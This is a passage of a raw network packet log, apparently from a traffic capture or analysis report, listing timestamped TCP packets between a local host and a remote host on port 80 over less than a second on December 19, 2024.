Dec 19, 2024 03:09:23.599956989 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.600013971 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.600048065 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.600101948 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.600931883 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.601002932 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.601035118 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.601082087 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.601931095 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.602041960 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.602104902 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.602925062 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.602983952 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.603043079 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.603097916 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.603962898 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.604104042 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.604157925 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.604959011 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.605071068 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.605139971 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.606020927 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.606076002 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.606175900 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.606228113 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.607021093 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.607124090 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.607124090 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.607527018 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.607974052 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.608089924 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.608197927 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.609020948 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.609076977 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.609118938 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.609184980 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.610027075 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.610090017 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.610141039 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.610198975 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.611046076 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.611157894 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.611223936 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.612046003 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.612102032 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.612134933 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.612186909 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.613068104 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.613137007 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.613265991 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.613313913 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.614084959 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.614139080 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.614192963 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.614233971 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.615073919 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.615185022 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.615236998 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.616100073 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.616177082 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.616213083 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.616250992 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.617114067 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.617153883 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.617228031 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.617264032 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.618141890 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.618192911 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.618242979 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.618304014 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.619221926 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.619267941 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.619283915 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.620147943 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.620186090 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.620202065 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.620275021 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.620327950 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.621165991 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.621220112 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.621273994 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.621323109 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.622180939 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.622237921 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.761562109 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.761682987 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.761733055 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.761778116 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.761981964 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.762036085 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.762119055 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.762166977 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.762989998 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.763044119 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.763088942 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.763138056 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.763947964 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.764003992 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.764074087 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.764126062 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.764975071 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.765028954 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.765104055 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.765155077 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.766000032 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.766124010 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.766179085 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.766999960 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.767054081 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.767122984 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.767174959 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.768021107 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.768079042 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.768161058 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.768215895 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.769045115 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.769112110 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.769185066 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.769239902 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.770051003 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.770163059 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.770234108 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.771056890 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.771121979 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.771193981 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.771249056 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.772057056 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.772115946 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.772232056 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.772290945 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.773062944 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.773140907 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.773199081 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.773401976 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.774082899 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.774177074 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.774260044 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.774312019 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.775136948 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.775213003 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.775233030 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.775293112 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.776145935 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.776202917 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.776272058 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.776314974 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.777156115 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.777235985 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.777259111 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.777468920 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.778147936 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.778259039 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.778335094 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.779144049 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.779221058 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.779303074 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.779361010 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.780172110 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.780225992 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.780350924 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.780590057 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.781244040 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.781356096 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.781363964 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.781408072 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.782243967 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.782339096 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.782354116 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.782418966 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.783194065 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.783247948 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.783310890 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.783377886 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.784267902 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.784322023 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.784390926 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.785202026 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.785260916 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.785327911 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.785603046 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.786243916 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.786314011 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.786355972 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.786425114 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.787250996 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.787309885 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.787393093 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.787456036 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.788259983 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.788459063 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.788490057 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.788527012 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.789288044 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.789338112 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.789408922 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.789462090 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.790258884 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.790318012 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.790375948 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.790432930 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.791307926 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.791371107 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.791418076 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.791645050 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.792354107 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.792455912 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.792464018 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.792511940 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.793322086 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.793384075 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.793442965 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.793494940 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.794329882 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.794383049 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.794450998 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.794553041 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.795353889 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.795406103 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.795459986 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.795511961 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.796358109 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.796447039 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.796530008 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.796618938 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.797379971 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.797439098 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.797497988 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.797549963 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.798386097 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.798455954 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.798496962 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.798547983 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.799401999 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.799458027 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.799540997 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.799597979 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.800379038 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.800435066 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.800518036 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.800570965 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.801434040 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.801491976 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.801562071 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.801611900 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.802454948 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.802525043 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.802541018 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.802572966 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.803431034 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.803482056 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.803544044 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.803591967 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.804440975 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.804495096 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.804536104 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.804600000 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.805469036 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.805521965 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.805589914 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.805650949 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.806454897 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.806592941 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.806608915 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.806638002 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.807467937 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.807514906 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.807557106 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.807602882 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.808504105 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.808556080 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.808597088 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.808643103 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.809509039 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.809557915 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.809601068 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.809650898 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.810558081 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.810612917 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.810636997 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.810808897 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.811532974 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.811593056 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.811640978 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.811839104 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.812571049 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.812632084 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.812652111 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.812681913 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.813539028 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.813596010 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.813637018 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.813743114 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.814497948 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.814548016 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.953480959 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.953551054 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.953653097 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.953705072 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.953881979 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.953996897 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.954070091 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.954190016 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.954231977 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.954231977 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.955122948 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.955177069 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.955261946 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.955351114 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.956134081 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.956187963 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.956248999 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.956305981 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.957129955 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.957190037 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.957247972 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.957353115 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.958146095 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.958234072 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.958302975 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.958369017 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.959136009 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.959199905 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.959284067 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.959372044 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.960159063 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.960300922 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.960355043 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.961182117 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.961232901 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.961302996 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.961445093 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.962173939 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.962222099 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.962291002 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.962374926 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.963188887 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.963299036 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.963308096 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.963388920 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.964210033 CET	80	49862	31.41.244.11	192.168.2.5
